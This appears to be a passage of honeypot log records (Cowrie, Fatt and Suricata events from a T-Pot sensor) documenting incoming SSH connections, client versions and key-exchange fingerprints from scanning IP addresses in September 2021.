27276	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:14:03.018259+03	2021-09-20 14:15:14.364646+03	{"_id": "5QbpAnwBvYTbRNuEtibh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 59774, "dest_port": 22, "timestamp": "2021-09-20T11:14:03.018259", "@timestamp": "2021-09-20T11:14:03.018Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
27277	178.128.20.19	109.199.241.180	Cowrie	2021-09-20 14:14:02.888275+03	2021-09-20 14:15:14.365645+03	{"_id": "6QbpAnwBvYTbRNuEtyak", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "178.128.20.19", "asn": 1241, "as_org": "Forthnet", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "178.128.20.19", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 178.128.20.19:45960 (192.168.176.2:22) [session: 03109d0ba139]", "session": "03109d0ba139", "@version": "1", "protocol": "ssh", "src_port": 45960, "dest_port": 22, "timestamp": "2021-09-20T11:14:02.888275Z", "@timestamp": "2021-09-20T11:14:02.888Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
27278	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:14:03.392797+03	2021-09-20 14:15:14.367647+03	{"_id": "6gbpAnwBvYTbRNuEtyak", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:59488 (192.168.176.2:22) [session: b65400707ad1]", "session": "b65400707ad1", "@version": "1", "protocol": "ssh", "src_port": 59488, "dest_port": 22, "timestamp": "2021-09-20T11:14:03.392797Z", "@timestamp": "2021-09-20T11:14:03.392Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
27279	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:14:02.768018+03	2021-09-20 14:15:14.368646+03	{"_id": "_AbpAnwBvYTbRNuEtyak", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 5 seconds", "session": "4e8db495af9f", "@version": "1", "duration": 5.4779345989227295, "timestamp": "2021-09-20T11:14:02.768018Z", "@timestamp": "2021-09-20T11:14:02.768Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
27281	178.128.20.19	109.199.241.180	Cowrie	2021-09-20 14:14:02.891021+03	2021-09-20 14:15:14.371647+03	{"_id": "_gbpAnwBvYTbRNuEtyak", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "178.128.20.19", "asn": 1241, "as_org": "Forthnet", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "178.128.20.19", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "03109d0ba139", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:14:02.891021Z", "@timestamp": "2021-09-20T11:14:02.891Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
27282	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:14:03.018911+03	2021-09-20 14:15:14.372646+03	{"_id": "_wbpAnwBvYTbRNuEtyak", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "d9149417b87d", "@version": "1", "timestamp": "2021-09-20T11:14:03.018911Z", "@timestamp": "2021-09-20T11:14:03.018Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
27283	178.128.20.19	109.199.241.180	Cowrie	2021-09-20 14:14:03.065357+03	2021-09-20 14:15:14.374647+03	{"_id": "AAbpAnwBvYTbRNuEtyek", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "178.128.20.19", "asn": 1241, "as_org": "Forthnet", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "178.128.20.19", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "03109d0ba139", "@version": "1", "timestamp": "2021-09-20T11:14:03.065357Z", "@timestamp": "2021-09-20T11:14:03.065Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
27284	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:14:03.396194+03	2021-09-20 14:15:14.375647+03	{"_id": "AQbpAnwBvYTbRNuEtyek", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "b65400707ad1", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:14:03.396194Z", "@timestamp": "2021-09-20T11:14:03.396Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
27285	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:14:03.689342+03	2021-09-20 14:15:14.376647+03	{"_id": "AgbpAnwBvYTbRNuEtyek", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "b65400707ad1", "@version": "1", "timestamp": "2021-09-20T11:14:03.689342Z", "@timestamp": "2021-09-20T11:14:03.689Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
27337	178.128.20.19	109.199.241.180	Suricata	2021-09-20 14:14:03.064774+03	2021-09-20 14:15:14.445675+03	{"_id": "4wbpAnwBvYTbRNuEtSar", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:14:02.713192+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "178.128.20.19", "asn": 1241, "as_org": "Forthnet", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "178.128.20.19", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 603794773303784, "payload": "AAADzAYU7d0pWwB5aFkH8sHsGbV41AAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 45960, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:14:03.064774Z", "@timestamp": "2021-09-20T11:14:03.064Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "........)[.yhY......x....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh